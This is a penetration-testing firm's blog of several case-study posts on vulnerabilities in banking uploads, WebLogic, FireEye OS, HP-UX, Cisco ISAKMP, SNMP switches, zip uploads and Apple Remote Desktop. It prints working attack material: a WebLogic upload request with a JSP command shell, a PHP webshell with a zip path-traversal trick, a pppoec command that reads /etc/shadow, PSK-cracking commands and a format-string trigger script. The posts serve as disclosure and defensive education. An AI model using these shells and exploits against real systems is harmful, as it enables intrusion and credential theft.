Virtual Bank Robbery – In Real Life

Author: pz

Introduction

This week a Polish bank was breached through its online banking interface. According to the reports the attacker stole 250.000 USD and now uses the personal information of 80.000 customers to blackmail the bank. Allegedly the attacker exploited a remote code execution vulnerability in the online banking application to achieve all this.

We at Silent Signal performed penetration tests on numerous online banking applications, and can say that while these systems are far from flawless, RCE vulnerabilities are fairly rare. Accordingly, the majority of the in-the-wild incidents can be traced back to the client side, to compromised browsers or naive users.

But from time to time we find problems that could easily lead to incidents similar to the aforementioned Polish banks. In this case-study we’re describing a remote code execution vulnerability we discovered in an online banking application. The vulnerability is now fixed, the affected institution was not based in Poland (or our home country, Hungary).

The bug

The online bank testing account had access to an interface where users could upload various files (pictures, HTML files, Office documents, PDFs etc.). The upload interface checked the MIME type of the uploaded documents only (from the Content-Type header), but not the extension. The Content-Type header is user controlled, so uploading a public ASPX shell was an obvious way to go; but after the upload completed I got an error message that the uploaded file was not found and the message revealed the full path of the missing file on the servers filesystem. I was a bit confused because I could not reproduce this error with any other files I tried to upload. I thought it was possible that an antivirus was in place that removes the malicious document before the application could’ve handled it.
I uploaded a simple text file with the EICAR antivirus test string with .docx extension(so I could make sure that the extension wasn’t the problem) that verified this theory. The antivirus deleted the file before the application could parse it that resulted in an error message revealing the full path:
EICAR

This directory was reachable from the web and the prefix of the file name was based on the current “tick count” of the system. The biggest problem was that the application removed the uploaded files after a short period of time because this was only a temporary directory. I could also only leak the names of deleted files but not the ones that remained on the system for a longer time. So exploitation required a bit more effort.

The Exploit

Before going into the details of the exploit, let’s see what “primitives” I had to work with:

  • I can upload a web shell (antivirus evasion is way too easy…)
  • I can leak the tick count by uploading an EICAR signature
  • I can access my web shell if I’m fast enough and know the tick count of the server at the moment the shell was uploaded

Unfortunately I can’t do these three things at the same time, so this is a kind of a race condition situation. According to the documentation “a single tick represents one hundred nanoseconds or one ten-millionth of a second” so guessing the tick count on a remote system through the Internet seems like a really though job. Luckily, I don’t always trust the documentation ;)

I built a simple test application that models the primitives described and implemented a simple time synchronization algorithm that I used before to predict time on remote servers with seconds precission. The algorithm works basically by making guesses and adjusting them based on the differentials to the actual reported server times.

While this algorithm wasn’t effective on the 100ns scale, the results were really interesting! I could observe that:

  1. Parallel requests result in identical tick counts with high probability
  2. The lower bits of the tick counts tend to represent the same few values

The reason for this is probably that the server processes are not truly parallel, just the OS scheduler makes you believe they are and that the resolution of the tick counter is imperfect. I also found out, that since the filenames are only dependent on the time my requests arrive to the application, the delays of the responses introduce avoidable uncertainty.

My final solution is based on grequests that is an awesome asynchronous HTTP library for Python. This allows me to issue requests very fast without having to wait for the answers in between. I’m using two parallel threads. The first uploads a number of web shells as fast as it can, while the other issues a number of requests with the EICAR string and then tries to access the web shells at constant offsets from the retrieved tick counts. The following chart shows the average hit rates (%) as the server side delays between the creation and deletion of the uploads changes:

avg_tick_hits

And although a few percent doesn’t seem high, don’t forget that I had to only be lucky once! As you can see there is a limit for exploitability (with this setup) between 300 ms and 400 ms but as we later found out the uploads were transferred to a remote host, so the lifetime of the temporary files was above this limit turning the application exploitable.

The model application and the test exploit is available on GitHub.

Conclusion

In this case-study we demonstrated how a low impact information leak and a (seemingly) low exploitability file upload bug could be chained together to an attack that can result in significant financial and reputation loss.

For application developers we have the following advises:

  • If you’re in doubt, use cryptographicaly secure random number generators.
  • Never assume that your software will be deployed to an environment similar to your test machine. A conflicting component (like the antivirus in this case) can and will cause unexpected behavior.
  • File uploads are always fragile parts of web applications, OWASP has some good guidelines about securely handling them.

And for those who are responsible for online banks or similar systems here are some thought-provoking questions:

  • Do your development teams follow a security focused development methodology? Because a good methodology is the base of a quality product.
  • Do you perform regular, technical security tests on your financial applications? Because people make mistakes.
  • Do you fix the discovered vulnerabilities on your production systems in reasonable time? Because tests worth nothing if it takes forever to fix the findings.
  • Do you have an incident response plan? Because despite all effort, incidents will eventually happen.
  • Would you notice an incident? Because IR doesn’t get started by itself.
  • Could you determine what the exploited vulnerabilities were and which users exploited (or tried to exploit) them? Because an incident is an opportunity to learn.

The story of a pentester recruitment

Author: pz

Intro

Last year we decided to expand our pentest team, and we figured that offering a hands-on challenge would be a good filter for possible candidates, since we’ve accumulated quite a bit of experience from organizing wargames and CTF at various events. We provided an isolated network with three hosts and anyone could apply by submitting a name, and email address and a CV – we’ve sent VPN configuration packs to literally everyone who did so. These packs included the following message (the original was in Hungarian).

Your task is to perform a comprehensive (!) security assessment of the hosts within range 10.10.82.100-254.

Typical tasks of a professional penetration tester include

  • asking relevant clarifying questions about new projects,
  • writing the technical part of business proposals,
  • comprehensive penetration testing,
  • report writing and presentation.

That is why we decided to test the candidates’ knowledge about the above subjects. The scope of the challenge consisted of 3 servers, report writing and presentation to the technical staff with a time limit of two weeks. Here is our solution:

(more…)


AIX for Penetration Testers

Author: pz

Renewal paper of my GIAC Penetration Tester certification:

http://www.giac.org/paper/gpen/6684/aix-penetration-testers/125890

Enjoy!


WebLogic undocumented hacking

Author: pz

During an external pentest – what a surprise – I found a WebLogic server with no interesting contents. I searched papers and tutorials about WebLogic hacking with little success. The public exploitation techniques resulted in only file reading. The OISSG tutorial only shows the following usable file reading solution:

curl -s http://127.0.0.1/wl_management_internal2/wl_management -H "username: 
weblogic" -H "password: weblogic" -H "wl_request_type: file" 
-H "file_name: c:\boot.ini"

You can read the WAR, CLASS, XML(config.xml) and LOG(logs\WeblogicServer.log) files through this vulnerability.
This is not enough because I want run operating system commands. The HACKING EXPOSED WEB APPLICATIONS, 3rd Edition book mentioned an attack scenario against WebLogic, but this was only file read although it was based on a great idea:
The web.xml of wl_management_internal2 defined two servlets, FileDistributionServlet and BootstrapServlet. I downloaded the weblogic.jar file with the mentioned attack and decompiled the FileDistributionServlet.class:

total 128
drwxr-xr-x  2 root root  4096 2014-10-03 14:54 ./
drwxr-xr-x 24 root root  4096 2004-06-29 23:18 ../
-rw-r--r--  1 root root  7073 2004-06-29 23:17 BootstrapServlet$1.class
-rw-r--r--  1 root root  8876 2004-06-29 23:17 BootstrapServlet.class
-rw-r--r--  1 root root  1320 2004-06-29 23:17 BootstrapServlet$MyCallbackHandler.class
-rw-r--r--  1 root root  1033 2004-06-29 23:16 FileDistributionServlet$1.class
-rw-r--r--  1 root root  1544 2004-06-29 23:16 FileDistributionServlet$2.class
-rw-r--r--  1 root root   945 2004-06-29 23:16 FileDistributionServlet$3.class
-rw-r--r--  1 root root   956 2004-06-29 23:16 FileDistributionServlet$4.class
-rw-r--r--  1 root root   927 2004-06-29 23:16 FileDistributionServlet$5.class
-rw-r--r--  1 root root   950 2004-06-29 23:16 FileDistributionServlet$6.class
-rw-r--r--  1 root root 21833 2004-06-29 23:16 FileDistributionServlet.class
-rw-r--r--  1 root root   364 2004-06-29 23:16 FileDistributionServlet$FileNotFoundHandler.class
-rw-r--r--  1 root root 38254 2014-10-03 12:24 FileDistributionServlet.jad
-rw-r--r--  1 root root  1378 2004-06-29 23:16 FileDistributionServlet$MyCallbackHandler.class
root@s2crew:/

The FileDistributionServlet had the following interesting function:

 private void internalDoPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s;
        String s1;
        InputStream inputstream;
        boolean flag;
        String s2;
        String s3;
        boolean flag1;
        s = httpservletrequest.getHeader("wl_request_type");
        httpservletresponse.addHeader("Version", String.valueOf(Admin.getInstance().getCurrentVersion()));
        s1 = httpservletrequest.getContentType();
        inputstream = null;
        Object obj = null;
        flag = true;
        s2 = null;
        s3 = httpservletrequest.getHeader("wl_upload_application_name");
        flag1 = "false".equals(httpservletrequest.getHeader("archive"));
        Object obj1 = null;
        String s4 = null;
        if(s3 != null)
        {
            ApplicationMBean applicationmbean;
            try
            {
                MBeanHome mbeanhome = Admin.getInstance().getMBeanHome();
                applicationmbean = (ApplicationMBean)mbeanhome.getAdminMBean(s3, "Application");
            }
            catch(InstanceNotFoundException instancenotfoundexception)
            {
                applicationmbean = null;
            }
            if(applicationmbean != null)
            {
                File file = new File(applicationmbean.getFullPath());
                s4 = file.getParent();
            }
        }
        if(s4 == null)
        {
            s4 = Admin.getInstance().getLocalServer().getUploadDirectoryName() + File.separator;
            if(s3 != null)
                s4 = s4.concat(s3 + File.separator);
        }
        Object obj2 = null;
        if(s1 != null && s1.startsWith("multipart") && s.equals("wl_upload_request"))
        {
            httpservletresponse.setContentType("text/plain");
            Object obj3 = null;
            try
            {
                MultipartRequest multipartrequest;
                if(httpservletrequest.getHeader("jspRefresh") != null && httpservletrequest.getHeader("jspRefresh").equals("true"))
                {
                    s2 = httpservletrequest.getHeader("adminAppPath");
                    multipartrequest = new MultipartRequest(httpservletrequest, s2, 0x7fffffff);
                } else
                {
                    multipartrequest = new MultipartRequest(httpservletrequest, s4, 0x7fffffff);
                }
                File file1 = multipartrequest.getFile((String)multipartrequest.getFileNames().nextElement());
                s2 = file1.getPath();
                flag = false;
                if(flag1)
                {
                    String s5 = s2.substring(0, s2.lastIndexOf("."));
                    extractArchive(s2, s5);
                    s2 = s5;
                }
----- CUT ------

After the investigating the function, I constructed the following HTTP POST request:

POST /wl_management_internal2/wl_management HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
Connection: keep-alive
username: weblogic
password: weblogic
wl_request_type: wl_upload_request
wl_upload_application_name: ..\..\..\..\..\..\..\..\..\you_can_define_the_upload_directory
archive: true
Content-Length: XXXX
Content-Type: multipart/form-data; boundary=---------------------------55365303813990412251182616919
Content-Length: 959
-----------------------------55365303813990412251182616919
Content-Disposition: form-data; name="file"; filename="cmdjsp.jsp"
Content-Type: application/octet-stream
// note that linux = cmd and windows = "cmd.exe /c + cmd" 
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>
<%=output %>
<!--    http://michaeldaw.org   2006    -->
-----------------------------55365303813990412251182616919--

This is simple as that. The prerequisite of this exploit is the default weblogic/weblogic account.
This is what I call real hacking!

;)


How to get root access on FireEye OS

Author: pz

1. Background

A couple of months ago we had the opportunity to take a closer look at a FireEye AX 5400 malware analysis appliance. The systems of FireEye are famous for catching targeted attacks that tend to evade traditional security systems, so we were really excited to find out more about the capabilities of this system. However we couldn’t resist taking a look at the management interfaces of the system; these turned out to be at least as exciting as our initial area of interest.

2. Technical part

2.1 Escaping the shell

The FireEye AX 5400 provides management interfaces over HTTPS and SSH. After login, the SSH interface provides a special restricted command shell (similar to the consoles of ordinary network equipment) that allows administrators to configure the device but prevents them interacting with the underlying operating system. Aside from the special shell the service was just an ordinary SSH server that allowed limited use of SCP.

The SCP process could only read and write the home directories and couldn’t create directories. If the user initiated an SSH connection to a remote system, the $HOME/.ssh directory was created to store the known_hosts file. After this one could upload an SSH public key to log into the system without password, but the default shell of the account was set to the original configuration shell with limited functionality.

How could we escape this shell completely and run arbitrary commands? The answer lies in the slogin command of the SSH console, which was actually an ordinary SSH client that behaved exactly as expected. This SSH client provides configuration options for the users from the $HOME/.ssh/config file. The ProxyCommand option allows operating system command execution if the user initiates an SSH connection:

Proxy Command - Specifies the command to use to connect to the server. 
The command string extends to the end of the line, and is executed 
with the user's shell.

To obtain access to an unlimited command shell, a configuration file was created that added a new user to the shadow file of the system with the home directory of the root user (that contained the previously uploaded SSH public key), 0 UID and an unlimited default shell. The configuration file contained commands similar to the following:

Adding a new root user

The built-in „slogin” command could trigger this configuration:

Triggering the command execution
The new s2crew user now has an unlimited command shell and can log in with the previously uploaded public key:

Logging into the system

2.2 Afterlife

Having successfully demonstrating the issue, we contacted the vendor who responded instantly, acknowledged the vulnerability and notified us on the status of the fix regularly. The official fix was released on 8th July 2014 for FEOS versions older than 7.1.0.

The exploitability of the issue was limited, since attackers would have to authenticate themselves on an administrative interface that should be only exposed to dedicated network segments. Still, this vulnerability gave us a unique insight to the inner workings of the product that inspired us to continue the research of the platform.


HP-UX 0day local privilege escalation

Author: pz

We worked for a big company in Hungary and there were some HP-UX targets. I got local user access easily to the servers but the operating system was HP-UX 11.31 without public privilege escalation sploit. This is not a big deal, this happens very often. I checked the backups, the file and directory permissions, admin scripts and many other things with no success. This UID 0 mission took me more than a day! I couldn’t believe that I couldn’t get root privilege! I downloaded all the SUID/SGID binaries and did some analysis with IDA Pro. At this point I faced the ugliest assembly code ever (Itanium2 architecture), so I gave up quickly :)

I checked the list of the SUID/SGID binaries looking for some instant root possibilities. Suddenly I realized there are some “old” binaries (related to the functionality) present on the system:

-r-sr-xr-x   1 root       bin         920588 Feb 15  2007 /usr/bin/pppd
-r-sr-xr-x   1 root       bin          87136 Feb 15  2007 /usr/bin/pppoec

The pppd can’t be executed by unprivileged users. The pppoec has the following command line arguments:

pppoec -i interface-name [ -c config-file ][ -d debug-level ][ -l log-file ]

Interesting! Let ‘s think like a hacker! ;)

/usr/bin/pppoec -i xx1 -r 1 -c /etc/shadow -d 1 -l /tmp/loggg.txt

After running it, check the output log file and smile (the debug level must be greater than 0):

pppoec proof

Solution: Remove the SUID bit from the binary!

Happy hacking and never forget: Try harder! :)

Also if you can provide us access to HP-UX test systems, don’t hesitate to contact us!


ISAKMP hacking – How much should we trust our tools?

Author: pz

During a VPN testing project we looked a bit deeper into the security vulnerability caused by ISAKMP aggressive mode. To put things simple, the important fact for us is that assuming pre-shared key authentication and possession of a valid userid makes it possible to obtain the valid encrypted PSK. During the tests I used Cisco network equipment and the Cisco VPN Configuration Guide. First I discovered the open ISAKMP VPN port on the target system:

Initiating Service scan at 11:11
Scanning 1 service on 192.168.2.5
Completed Service scan at 11:13, 82.57s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.2.5.
Initiating NSE at 11:13
Completed NSE at 11:13, 30.08s elapsed
Nmap scan report for 192.168.2.5
Host is up (0.0035s latency).
PORT STATE SERVICE VERSION
500/udp open isakmp?

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.26 seconds
Raw packets sent: 5 (372B) | Rcvd: 2 (272B)

I created a short script to collect the cryptographic settings of the connection:

root@s2crew:~/bin# ./ike-crypt-transforms.sh 192.168.2.5
Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.11 hosts/sec). 1 returned handshake; 0 returned notify
Supported: 5,2,1,2
Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.37 hosts/sec). 1 returned handshake; 0 returned notify
Supported: 5,2,65001,2

The settings supported by the CISCO device can be seen below:

Encryption algorithms:: Triple-DES
Hash algorithms:: MD5
Authentication methods: Pre-Shared Key/Hybrid Mode and XAUTH
Diffie-Hellman groups: 2

I used the ikeprobe.exe application to detect whether the service was vulnerable. The result of the tests showed the target environment was not vulnerable:

root@s2crew:~/bin# wine ikeprobe.exe 192.168.2.5
IKEProbe 0.1beta (c) 2003 Michael Thumann (www.ernw.de)
Portions Copyright (c) 2003 Cipherica Labs (www.cipherica.com)
Read license-cipherica.txt for LibIKE License Information
IKE Aggressive Mode PSK Vulnerability Scanner (Bugtraq ID 7423)

Supported Attributes
Ciphers : DES, 3DES, AES-128, CAST
Hashes : MD5, SHA1
Diffie Hellman Groups: DH Groups 1,2 and 5

IKE Proposal for Peer: 192.168.2.5
Aggressive Mode activated ...
.
.
.
Attribute Settings:
Cipher CAST
Hash MD5
Diffie Hellman Group 5

8.251 3: ph1_initiated(00443ee0, 00449178)
8.283 3: << ph1 (00443ee0, 340)

System not vulnerable, Attribute mismatch or not authorized Peer.

The above statement was not true. Fortunately I knew a valid ID for the VPN connection that helped me to perform the attack:

root@s2crew:~/bin# ike-scan -A --trans=5,2,1,2 --id=vpnclient -Ppsk.txt 192.168.2.5
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.2.5 Aggressive Mode Handshake returned HDR=(CKY-R=576568d95df504bb) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) VID=a2a2cfc45df404bbeb2e7a5d49fd39fd VID=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.2.5) Nonce(20 bytes) Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.047 seconds (21.07 hosts/sec). 1 returned handshake; 0 returned notify

I performed a dictionary attack against the PSK hash:

root@s2crew:~/bin# psk-crack -d /root/depth4.dic psk.txt
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "cisco123" matches SHA1 hash 07746c280f597b19b274499f771d0589ad26fce8
Ending psk-crack: 280320 iterations in 1.730 seconds (161992.45 iterations/sec)

Below is the part of the VPN configuration that made the device vulnerable:

crypto isakmp policy 3
encr 3des
authentication pre-share
group 2
!
crypto isakmp client configuration group vpnclient
key cisco123
dns 10.10.10.10
wins 10.10.10.20
domain silentsignal.eu
pool ippool
acl 101
!
!
crypto ipsec transform-set myset esp-3des esp-md5-hmac
!

When we perform a security audit, we have to take the power and limits of the tools used for testing into account. A good tester never trusts the result of any security testing tool blindly, and understands the issue under investigation.


SNMP trap?

Author: pz

During one of our internal network penetration testings, I focused on the network devices. The customer had 3Com/HP switches. Little portscan with NSE revealed that the switches used default SNMP community strings (public and private)! I checked SNMP problems affecting 3Com/HP switches; there was a really interesting issue:

3Com, HP, and H3C Switches SNMP Configuration Lets Remote Users Take Administrative Actions

I tried to check all the OIDs from h3c-user.mib and hh3c-user.mib files with no success.
Having tried everything else, the solution was good old brute force (snmpwalk and a shell script):

b2

The screenshot shows the three default accounts on the device: admin, manager, monitor and their plain text passwords.

With these, I could log into the device:
b1

The SNMP MIB brute force revealed some other interesting information, including configuration files that you could download using the TFTP ;)
What have we learnt today? If a method of attack does not work at first, do not reject it immediately!

Happy hacking!


Compressed file upload and command execution

Author: pz

In this post I would like to share some experiences of a web application hacking project. After I got access to the admin section of the web application I realized that there is a file upload function available for administrators. The application properly denied uploading dynamic scripts (eg.: .php) and it was not possible to bypass this defense. However, the upload function supported compressed file upload and provided automatic decompression also but unfortunately the upload directory did not allow to run PHP files.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

To achieve remote command execution I took the following steps:

1. Create a PHP shell:

<?php 
if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
}
?>

2. Use “file spraying” and create a compressed zip file:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable
:%s/xxA/..\//g
:x!

Done!

Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:

b1


How did I find the Apple Remote Desktop bug? – CVE-2013-5135

Author: pz

Inspired by the Windows Remote Dektop bug (CVE-2012-0002) I created a simple  network protocol fuzzer. This is a dumb fuzzer that only changes every single byte value from 0 to 255:

#!/usr/bin/python
import socket
import time
import struct
import string
import sys
init1 = (
"Sniffed network connection part 1"
)
init2 = (
"Sniffed network connection part 2"
)
init3= (
"Sniffed network connection part 3"
)
act = init3
print len(act)
for i in range(int(sys.argv[1]),len(act)):
	for j in range(0,256):
		try:
	        	hexa = string.atol(str(j))
        		buffer = struct.pack('<B',hexa)
			x = act[:i]+buffer+act[(i+len(buffer)):]
			s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			connect=s.connect(('192.168.1.4',5900)) # hardcoded IP address
			print str(i) + " " + str(j)
			s.send(init1) # send the data
			data = s.recv(1024)
			s.send(init2) # send the data
			data = s.recv(1024)
			s.send(x) # send the data
			data = s.recv(1024)
			s.close()
			time.sleep(1)
		except:
			j = j - 1

This approach may look especially dumb, since the Apple VNC protocol is encrypted and the changes made by the fuzzer on the bytes of the ciphertext would result in a disaster in the decrypted plaintext, but eventually this technique led to the discovery of the vulnerability. I ran this fuzzer and watched the log and the Crashreporter files. The /var/log/secure.log file contained the following lines:

Jan 14 14:52:14 computer screensharingd[26350]: Authentication: FAILED :: User Name: m?>H?iYiH3`'??

 The /Library/Log/DiagnosticsReports/ directory also contained a lot of crash files. This meant two things: I found some interesting bug right now and the screensharingd runs with root permissions (the directory above is for the crash files of the privileged processes). The Crashwrangler said this is an unexploitable crash but I don't trust this tool blindly ;)

Let's look at the crash in the debugger:

bash-3.2# while true;do for i in $( ps aux | grep -i screensharingd | grep -v grep | awk '{print $2}');do gdb --pid=$i;done;done<br />
GNU gdb 6.3.50-20050815 (Apple version gdb-1822) (Sun Aug  5 03:00:42 UTC 2012)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin".No symbol table is loaded.  Use the "file" command.
/Users/depth/.gdbinit:2: Error in sourced command file:
No breakpoint number 1.
 
/Users/depth/30632: No such file or directory
Attaching to process 30632.
Reading symbols for shared libraries . done
Reading symbols for shared libraries .......................................................................................................................................... done
Reading symbols for shared libraries + done
0x00007fff89e8e67a in mach_msg_trap ()
(gdb) set follow-fork-mode child 
(gdb) c
Continuing.
 
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000002
[Switching to process 30632 thread 0x2b03]
0x00007fff8e2a0321 in __vfprintf ()
(gdb) i reg
rax            0x2	2
rbx            0x10778ba5c	4420319836
rcx            0x37	55
rdx            0x10778a810	4420315152
rsi            0x7f9a22b00000	140299983650816
rdi            0x106926400	4405224448
rbp            0x10778aa40	0x10778aa40
rsp            0x10778a610	0x10778a610
r8             0x106926400	4405224448
r9             0x62	98
r10            0x1224892248900008	1307320572183576584
r11            0x10778aaa8	4420315816
r12            0xb	11
r13            0x38	56
r14            0x0	0
r15            0x6e	110
rip            0x7fff8e2a0321	0x7fff8e2a0321 <__vfprintf+3262>
eflags         0x10246	66118
cs             0x2b	43
ss             0x0	0
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) x/s $rbx
0x10778ba5c:	 " :: Viewer Address: 172.16.29.147 :: Type: DH"

This is very interresting. I assumed "*printf" error meant a common buffer overflow or a format string attack. Let's see the problematic function:

(gdb) bt
#0  0x00007fff8e2a0321 in __vfprintf ()
#1  0x00007fff8e2ea270 in vasprintf_l ()
#2  0x00007fff8e2d9429 in asl_vlog ()
#3  0x00007fff8e27f7d4 in vsyslog ()
#4  0x00007fff8e27f879 in syslog () # Vulnerability here!
#5  0x00000001075484df in _mh_execute_header ()
#6  0x0000000107521892 in _mh_execute_header ()
#7  0x0000000107532657 in _mh_execute_header ()
#8  0x000000010752d7c1 in _mh_execute_header ()
#9  0x00007fff87c46ce6 in PrivateMPEntryPoint ()
#10 0x00007fff8e2ab8bf in _pthread_start ()
#11 0x00007fff8e2aeb75 in thread_start ()

I fired up IDA Pro and looked for the invalid authentication chain of the screensharingd binary. First I searched for the "FAILED" keyword in order to find the subroutine of interest:

    ida1

But it turns out that he "Authentication FAILED" string leads us to the interesting part of code:

ida2

This string is referenced by the sub_1000322a8 function:

ida3

I followed the cross reference to the "Authentication : FAILED" string:

ida4

Yes, here is the critical part of the binary (DH authentication is the current one based on the secure.log file):

ida5

The subroutine creates the syslog message properly with format strings but before calling the syslog() function it does not sanitize the username field and the attacker can perform a format string attack. The easiest way to check this assumption is to try to authenticate using the RDP client:

vnc2

And check the secure.log file:

vnc3

 Great! :) This is a format string vulnerability in Apple Remote Desktop protocol. I spent a few days to investigate the vulnerability and write a working exploit with no success. The problems are:

  • null bytes in the memory addresses (64 bit architecture)
  • relative small buffer space (~2*64 bytes)
  • non executable stack

If you have any ideas on the exploitation of the issue, do not hesitate share them with me! To help you get started I wrote a simple trigger script:

#!/usr/bin/perl
#
# For ARD (Apple Remote Desktop) authentication you must also specify a username. 
# You must also install Crypt::GCrypt::MPI and Crypt::Random
# CVE: CVE-2013-5135
# Software: Apple Remote Desktop
# Vulnerable version: < 3.7
 
use Net::VNC;
 
$target = "192.168.1.4";
$password = "B"x64; #max 64
$a = "A"x32; # max 64
$payload = $a."%28\$n"; # CrashWrangler output-> is_exploitable=yes:instruction_disassembly=mov    %ecx,(%rax):instruction_address=0x00007fff8e2a0321:access_type=write
 
print "Apple VNC Server @ $target\n";
print "Check the /var/log/secure.log file ;) \n";
 
$vnc = Net::VNC->new({hostname => $target, username => $payload, password => $password});
$vnc->login;

This was the whole story of CVE-2013-5135 from the beginning of 2013. Every bug hunting approach may be good way, so try something different than everybody else. Happy bug hunting!